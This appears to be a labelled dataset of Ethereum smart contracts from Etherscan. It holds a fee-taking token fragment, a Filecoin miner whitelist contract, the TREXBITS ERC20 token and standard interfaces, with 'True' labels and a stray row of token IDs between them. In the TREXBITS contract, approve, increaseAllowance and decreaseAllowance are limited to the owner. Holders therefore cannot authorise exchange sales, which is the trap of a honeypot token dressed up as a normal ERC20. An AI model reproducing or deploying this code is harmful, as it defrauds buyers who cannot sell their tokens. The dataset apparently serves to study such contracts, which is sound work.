_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFilChainStatOracle {
function sectorInitialPledge() external view returns(uint256);
function minerAdjustedPower(string memory _minerId) external view returns(uint256);
function minerMiningEfficiency(string memory _minerId) external view returns(uint256);
function minerSectorInitialPledge(string memory _minerId) external view returns(uint256);
function minerTotalAdjustedPower() external view returns(uint256);
function avgMiningEfficiency() external view returns(uint256);
function latest24hBlockReward() external view returns(uint256);
function rewardAttenuationFactor() external view returns(uint256);
function networkStoragePower() external view returns(uint256);
function dailyStoragePowerIncrease() external view returns(uint256);
function removeMinerAdjustedPower(string memory _minerId) external;
}
library StringUtil {
function equal(string memory a, string memory b) internal pure returns(bool){
return equal(bytes(a),bytes(b));
}
function equal(bytes memory a, bytes memory b) internal pure returns(bool){
return keccak256(a) == keccak256(b);
}
function notEmpty(string memory a) internal pure returns(bool){
return bytes(a).length > 0;
}
}
contract MinerManage is Ownable{
using StringUtil for string;
struct MinerInfo{
string minerId;
string data;
string signature;
}
IFilChainStatOracle public oracleAddress;
mapping(address=>MinerInfo) public minerInfoMap;
mapping(address=>bool) public whiteList;
mapping(string=>address) public minerIdToWalletMap;
string[] public minerList;
event AddMiner(address walletAddress, string minerId);
event RemoveMiner(address walletAddress, string minerId);
event FilChainStatOracleChanged(address filChainStatOracle, address _filChainStatOracle);
constructor(IFilChainStatOracle _oracleAddress){
oracleAddress = _oracleAddress;
}
function setOracleAddress(IFilChainStatOracle _oracleAddress) public onlyOwner{
require(address(_oracleAddress) != address(0), "address should not be 0");
emit FilChainStatOracleChanged(address(oracleAddress), address(_oracleAddress));
oracleAddress = _oracleAddress;
}
function addToWhiteList(address walletAddress, string memory minerId, string memory data, string memory signature) public onlyOwner{
require(walletAddress!=address(0), "wallet address cannot be 0");
address prevAddress = minerIdToWalletMap[minerId];
if(prevAddress != address(0)){
whiteList[prevAddress] = false;
delete minerInfoMap[prevAddress];
}
whiteList[walletAddress] = true;
if(minerIdToWalletMap[minerId] == address(0)){
minerList.push(minerId);
}
minerInfoMap[walletAddress] = MinerInfo(minerId, data, signature);
minerIdToWalletMap[minerId] = walletAddress;
emit AddMiner(walletAddress, minerId);
}
function removeFromWhiteList(address walletAddress) public onlyOwner{
string memory minerId = minerInfoMap[walletAddress].minerId;
if(minerId.notEmpty()){
whiteList[walletAddress] = false;
delete minerInfoMap[walletAddress];
delete minerIdToWalletMap[minerId];
for(uint i=0; i<minerList.length; i++){
if(minerList[i].equal(minerId)){
minerList[i] = minerList[minerList.length-1];
minerList.pop();
emit RemoveMiner(walletAddress,minerId);
break;
}
}
oracleAddress.removeMinerAdjustedPower(minerId);
}
}
function minerAdjustedStoragePowerInTiB(string memory minerId) external view returns(uint256){
return oracleAddress.minerAdjustedPower(minerId);
}
function getMinerId(address walletAddress) public view returns(string memory){
return minerInfoMap[walletAddress].minerId;
}
function getMinerList() external view returns(string[] memory){
return minerList;
}
}
|
True
|
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1012,
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2022,
2825,
2000,
2655,
1008,
1036,
2069,
12384,
2121,
1036,
4972,
4902,
1012,
2064,
2069,
2022,
2170,
2011,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/**
████████ ██████ ███████ ██ ██ ██████ ██ ████████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██████ █████ ███ ██████ ██ ██ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ███████ ██ ██ ██████ ██ ██ ███████
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
//address msgSender = _msgSender(); // Owner address
address msgSender = _msgSender(); // Owner address
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TREXBITS is Context, IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "TREXBITS";
_symbol = "TRXB";
_decimals = 18;
_totalSupply = 100000000 * 10**(_decimals);
_balances[_msgSender()] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\standalone\IERC20NFTWrapper.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
interface IERC20NFTWrapper is IERC20 {
function init(uint256 objectId) external;
function mainWrapper() external view returns (address);
function objectId() external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function mint(address owner, uint256 amount) external;
function burn(address owner, uint256 amount) external;
}
// File: contracts\standalone\voting\IDFOERC20NFTWrapper.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
interface IDFOERC20NFTWrapper is IERC20NFTWrapper {
function mint(uint256 amount) external;
function getProxy() external view returns (address);
function setProxy() external;
}
interface IMVDFunctionalityProposalManager {
function isValidProposal(address proposal) external view returns (bool);
}
// File: node_modules\@openzeppelin\contracts\introspection\IERC165.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin\contracts\token\ERC1155\IERC1155.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transfered from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
